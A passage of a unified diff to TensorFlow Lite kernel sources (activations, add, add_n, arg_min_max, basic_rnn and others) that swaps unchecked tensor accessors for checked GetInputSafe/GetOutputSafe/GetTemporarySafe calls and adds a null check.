-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
   if (kernel_type == kFixedPointOptimized) {
@@ -546,8 +558,10 @@ TfLiteStatus SoftmaxPrepare(TfLiteContext* context, TfLiteNode* node) {
 
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   if (output->type == kTfLiteInt16) {
     TF_LITE_ENSURE(context, input->type == kTfLiteInt8 ||
                                 input->type == kTfLiteUInt8 ||
@@ -614,8 +628,10 @@ TfLiteStatus LogSoftmaxPrepare(TfLiteContext* context, TfLiteNode* node) {
 
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
   if (input->type == kTfLiteUInt8 || input->type == kTfLiteInt8) {
@@ -650,9 +666,12 @@ TfLiteStatus LogSoftmaxPrepare(TfLiteContext* context, TfLiteNode* node) {
 TfLiteStatus PreluPrepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* alpha = GetInput(context, node, 1);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* alpha;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &alpha));
   PreluOpData* data = reinterpret_cast<PreluOpData*>(node->user_data);
 
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, alpha->type);
@@ -704,8 +723,10 @@ TfLiteStatus PreluPrepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus ReluEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   const ReluOpData* data = reinterpret_cast<ReluOpData*>(node->user_data);
   switch (input->type) {
     case kTfLiteFloat32: {
@@ -732,8 +753,10 @@ TfLiteStatus ReluEval(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Relu1Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   const ReluOpData* data = reinterpret_cast<ReluOpData*>(node->user_data);
   switch (input->type) {
     case kTfLiteFloat32: {
@@ -763,8 +786,10 @@ template <KernelType kernel_type>
 TfLiteStatus HardSwishEval(TfLiteContext* context, TfLiteNode* node) {
   HardSwishData* data = static_cast<HardSwishData*>(node->user_data);
 
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   switch (input->type) {
     case kTfLiteFloat32: {
       if (kernel_type == kReference) {
@@ -814,8 +839,10 @@ TfLiteStatus HardSwishEval(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Relu6Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   ReluOpData* data = reinterpret_cast<ReluOpData*>(node->user_data);
   switch (input->type) {
     case kTfLiteFloat32: {
@@ -845,8 +872,10 @@ TfLiteStatus Relu6Eval(TfLiteContext* context, TfLiteNode* node) {
 template <KernelType kernel_type>
 TfLiteStatus TanhEval(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   switch (input->type) {
     case kTfLiteFloat32: {
       if (kernel_type == kReference) {
@@ -919,8 +948,10 @@ template <KernelType kernel_type>
 TfLiteStatus SigmoidEval(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   switch (input->type) {
     case kTfLiteFloat32: {
       if (kernel_type == kReference) {
@@ -1067,8 +1098,10 @@ TfLiteStatus SoftmaxEval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteSoftmaxParams*>(node->builtin_data);
   SoftmaxOpData* data = reinterpret_cast<SoftmaxOpData*>(node->user_data);
 
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
 
   switch (input->type) {
     case kTfLiteFloat32: {
@@ -1122,8 +1155,10 @@ template <KernelType kernel_type>
 TfLiteStatus LogSoftmaxEval(TfLiteContext* context, TfLiteNode* node) {
   const LogSoftmaxOpData* data =
       reinterpret_cast<LogSoftmaxOpData*>(node->user_data);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   switch (input->type) {
     case kTfLiteFloat32: {
       SoftmaxParams op_params;
@@ -1183,9 +1218,12 @@ T ApplyPrelu(T input, T alpha) {
 
 template <KernelType kernel_type>
 TfLiteStatus PreluEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  const TfLiteTensor* alpha = GetInput(context, node, 1);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  const TfLiteTensor* alpha;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &alpha));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   const PreluOpData* data = reinterpret_cast<PreluOpData*>(node->user_data);
   switch (input->type) {
     case kTfLiteFloat32: {
@@ -1294,8 +1332,10 @@ void QuantizeLeakyRelu(const TfLiteTensor* input, TfLiteTensor* output,
 }
 
 TfLiteStatus LeakyReluEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   const auto* params =
       reinterpret_cast<TfLiteLeakyReluParams*>(node->builtin_data);
   const LeakyReluOpData* data =
@@ -1332,8 +1372,10 @@ TfLiteStatus LeakyReluEval(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus EluPrepare(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
   // Use LUT to handle quantized elu path.
@@ -1346,8 +1388,10 @@ TfLiteStatus EluPrepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus EluEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   switch (input->type) {
     case kTfLiteFloat32: {
       optimized_ops::Elu(GetTensorShape(input), GetTensorData<float>(input),
diff --git a/tensorflow/lite/kernels/add.cc b/tensorflow/lite/kernels/add.cc
index 7692ae9e54b75e..05be920e67ebe3 100644
--- a/tensorflow/lite/kernels/add.cc
+++ b/tensorflow/lite/kernels/add.cc
@@ -91,9 +91,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
   output->type = input2->type;
@@ -358,9 +364,15 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteAddParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (output->type == kTfLiteFloat32 || output->type == kTfLiteInt32) {
     EvalAdd<kernel_type>(context, node, params, data, input1, input2, output);
diff --git a/tensorflow/lite/kernels/add_n.cc b/tensorflow/lite/kernels/add_n.cc
index e933c5bbd667b8..d8fb21608338a5 100644
--- a/tensorflow/lite/kernels/add_n.cc
+++ b/tensorflow/lite/kernels/add_n.cc
@@ -33,13 +33,18 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE(context, num_inputs >= 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   output->type = input1->type;
 
   // Check that all input tensors have the same shape and type.
   for (int i = kInputTensor1 + 1; i < num_inputs; ++i) {
-    const TfLiteTensor* input = GetInput(context, node, i);
+    const TfLiteTensor* input;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &input));
     TF_LITE_ENSURE(context, HaveSameShapes(input1, input));
     TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input->type);
   }
@@ -55,15 +60,22 @@ template <typename T>
 void EvalAddN(TfLiteContext* context, TfLiteNode* node) {
   // TODO(haoliang): Initialize all_inputs only once during init.
   VectorOfTensors<T> all_inputs(*context, *node->inputs);
+  // Safe to use unchecked since caller checks that tensor is valid
   TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
   int num_inputs = NumInputs(node);
+  // Safe to use unchecked since caller checks that tensor is valid
   const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
   reference_ops::AddN<T>(GetTensorShape(input1), num_inputs, all_inputs.data(),
                          GetTensorData<T>(output));
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   if (output->type == kTfLiteFloat32) {
     EvalAddN<float>(context, node);
   } else if (output->type == kTfLiteInt32) {
diff --git a/tensorflow/lite/kernels/arg_min_max.cc b/tensorflow/lite/kernels/arg_min_max.cc
index 4a3902ac57c59c..f782f94a9b0057 100644
--- a/tensorflow/lite/kernels/arg_min_max.cc
+++ b/tensorflow/lite/kernels/arg_min_max.cc
@@ -58,15 +58,19 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* axis = GetInput(context, node, kAxis);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* axis;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxis, &axis));
   // Make sure the axis is only 1 dimension.
   TF_LITE_ENSURE_EQ(context, NumElements(axis), 1);
   // Make sure the axis is only either int32 or int64.
   TF_LITE_ENSURE(context,
                  axis->type == kTfLiteInt32 || axis->type == kTfLiteInt64);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   auto* params = reinterpret_cast<TfLiteArgMaxParams*>(node->builtin_data);
   switch (params->output_type) {
@@ -119,9 +123,13 @@ std::function<bool(T, T)> GetComparefunction(bool is_arg_max) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node, bool is_arg_max) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* axis = GetInput(context, node, kAxis);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* axis;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kAxis, &axis));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_STATUS(ResizeOutput(context, input, axis, output));
   }
diff --git a/tensorflow/lite/kernels/assign_variable.cc b/tensorflow/lite/kernels/assign_variable.cc
index 4cb4e08e43ab9f..b1c4cdf3c534fc 100644
--- a/tensorflow/lite/kernels/assign_variable.cc
+++ b/tensorflow/lite/kernels/assign_variable.cc
@@ -40,8 +40,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   //   everything still works fine when variable ops aren't used.
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 0);
 
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputVariableId);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputVariableId,
+                                          &input_resource_id_tensor));
   TF_LITE_ENSURE_EQ(context, input_resource_id_tensor->type, kTfLiteInt32);
   TF_LITE_ENSURE_EQ(context, NumElements(input_resource_id_tensor), 1);
 
@@ -51,9 +52,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   Subgraph* subgraph = reinterpret_cast<Subgraph*>(context->impl_);
 
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputVariableId);
-  const TfLiteTensor* input_value_tensor = GetInput(context, node, kInputValue);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputVariableId,
+                                          &input_resource_id_tensor));
+  const TfLiteTensor* input_value_tensor;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kInputValue, &input_value_tensor));
 
   int resource_id = input_resource_id_tensor->data.i32[0];
   auto& resources = subgraph->resources();
diff --git a/tensorflow/lite/kernels/audio_spectrogram.cc b/tensorflow/lite/kernels/audio_spectrogram.cc
index 8132130f4abc3e..46066310157db3 100644
--- a/tensorflow/lite/kernels/audio_spectrogram.cc
+++ b/tensorflow/lite/kernels/audio_spectrogram.cc
@@ -76,8 +76,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 2);
 
@@ -106,8 +109,11 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteAudioSpectrogramParams*>(node->user_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE(context, params->spectrogram->Initialize(params->window_size,
                                                           params->stride));
diff --git a/tensorflow/lite/kernels/basic_rnn.cc b/tensorflow/lite/kernels/basic_rnn.cc
index c2e503d6462eaf..715ae5cb6713ae 100644
--- a/tensorflow/lite/kernels/basic_rnn.cc
+++ b/tensorflow/lite/kernels/basic_rnn.cc
@@ -60,13 +60,20 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, node->inputs->size, 5);
   TF_LITE_ENSURE_EQ(context, node->outputs->size, 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* input_weights = GetInput(context, node, kWeightsTensor);
-  const TfLiteTensor* recurrent_weights =
-      GetInput(context, node, kRecurrentWeightsTensor);
-  const TfLiteTensor* bias = GetInput(context, node, kBiasTensor);
-  const TfLiteTensor* hidden_state =
-      GetInput(context, node, kHiddenStateTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* input_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kWeightsTensor, &input_weights));
+  const TfLiteTensor* recurrent_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, kRecurrentWeightsTensor, &recurrent_weights));
+  const TfLiteTensor* bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBiasTensor, &bias));
+  const TfLiteTensor* hidden_state;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kHiddenStateTensor, &hidden_state));
 
   // Check all the parameters of tensor match within themselves and match the
   // input configuration.
@@ -86,7 +93,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, hidden_state->dims->data[0], batch_size);
   TF_LITE_ENSURE_EQ(context, hidden_state->dims->data[1], num_units);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Resize output.
   TfLiteIntArray* output_size_array = TfLiteIntArrayCreate(2);
@@ -105,7 +114,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     TfLiteIntArrayFree(node->temporaries);
     node->temporaries = TfLiteIntArrayCreate(6);
     node->temporaries->data[0] = op_data->scratch_tensor_index;
-    TfLiteTensor* input_quantized = GetTemporary(context, node, /*index=*/0);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/0,
+                                                &input_quantized));
     input_quantized->type = input_weights->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -114,8 +125,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        input_quantized_size));
     }
     node->temporaries->data[1] = op_data->scratch_tensor_index + 1;
-    TfLiteTensor* hidden_state_quantized =
-        GetTemporary(context, node, /*index=*/1);
+    TfLiteTensor* hidden_state_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/1,
+                                                &hidden_state_quantized));
     hidden_state_quantized->type = input_weights->type;
     hidden_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(hidden_state_quantized->dims,
@@ -127,7 +139,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                               hidden_state_quantized_size));
     }
     node->temporaries->data[2] = op_data->scratch_tensor_index + 2;
-    TfLiteTensor* scaling_factors = GetTemporary(context, node, /*index=*/2);
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/2,
+                                                &scaling_factors));
     scaling_factors->type = kTfLiteFloat32;
     scaling_factors->allocation_type = kTfLiteArenaRw;
     int scaling_dims[1] = {batch_size};
@@ -138,7 +152,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        scaling_factors_size));
     }
     node->temporaries->data[3] = op_data->scratch_tensor_index + 3;
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, /*index=*/3);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/3, &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     int accum_scratch_dims[2] = {num_units, batch_size};
@@ -151,7 +167,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        accum_scratch_size));
     }
     node->temporaries->data[4] = op_data->scratch_tensor_index + 4;
-    TfLiteTensor* zero_points = GetTemporary(context, node, /*index=*/4);
+    TfLiteTensor* zero_points;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/4, &zero_points));
     zero_points->type = kTfLiteInt32;
     zero_points->allocation_type = kTfLiteArenaRw;
     int zero_points_dims[1] = {batch_size};
@@ -162,7 +180,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        zero_points_size));
     }
     node->temporaries->data[5] = op_data->scratch_tensor_index + 5;
-    TfLiteTensor* row_sums = GetTemporary(context, node, /*index=*/5);
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, /*index=*/5, &row_sums));
     row_sums->type = kTfLiteInt32;
     row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int row_sums_dims[2] = {2, num_units};
@@ -260,14 +280,23 @@ TfLiteStatus EvalHybrid(const TfLiteTensor* input,
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteRNNParams*>(node->builtin_data);
   auto* op_data = reinterpret_cast<OpData*>(node->user_data);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* input_weights = GetInput(context, node, kWeightsTensor);
-  const TfLiteTensor* recurrent_weights =
-      GetInput(context, node, kRecurrentWeightsTensor);
-  const TfLiteTensor* bias = GetInput(context, node, kBiasTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* input_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kWeightsTensor, &input_weights));
+  const TfLiteTensor* recurrent_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, kRecurrentWeightsTensor, &recurrent_weights));
+  const TfLiteTensor* bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBiasTensor, &bias));
   TfLiteTensor* hidden_state =
-      &context->tensors[node->inputs->data[kHiddenStateTensor]];
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+      GetVariableInput(context, node, kHiddenStateTensor);
+  TF_LITE_ENSURE(context, hidden_state != nullptr);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // We already checked that weight types are consistent, so branch on one.
   switch (input_weights->type) {
@@ -277,12 +306,23 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
     case kTfLiteUInt8:
     case kTfLiteInt8: {
       // TODO(mirkov): implement eval with quantized inputs as well.
-      TfLiteTensor* input_quantized = GetTemporary(context, node, 0);
-      TfLiteTensor* hidden_state_quantized = GetTemporary(context, node, 1);
-      TfLiteTensor* scaling_factors = GetTemporary(context, node, 2);
-      TfLiteTensor* accum_scratch = GetTemporary(context, node, 3);
-      TfLiteTensor* zero_points = GetTemporary(context, node, 4);
-      TfLiteTensor* row_sums = GetTemporary(context, node, 5);
+      TfLiteTensor* input_quantized;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 0, &input_quantized));
+      TfLiteTensor* hidden_state_quantized;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, 1, &hidden_state_quantized));
+      TfLiteTensor* scaling_factors;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 2, &scaling_factors));
+      TfLiteTensor* accum_scratch;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 3, &accum_scratch));
+      TfLiteTensor* zero_points;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 4, &zero_points));
+      TfLiteTensor* row_sums;
+      TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, 5, &row_sums));
       return EvalHybrid(input, input_weights, recurrent_weights, bias, params,
                         input_quantized, hidden_state_quantized,
                         scaling_factors, hidden_state, output, zero_points,
diff --git a/tensorflow/lite/kernels/batch_matmul.cc b/tensorflow/lite/kernels/batch_matmul.cc
index a414a22650406f..35cf57128e70e3 100644
--- a/tensorflow/lite/kernels/batch_matmul.cc
+++ b/tensorflow/lite/kernels/batch_matmul.cc
@@ -154,7 +154,9 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
   // Temp tensor for Transposed LHS;
   {
     node->temporaries->data[0] = op_data->scratch_tensor_index;
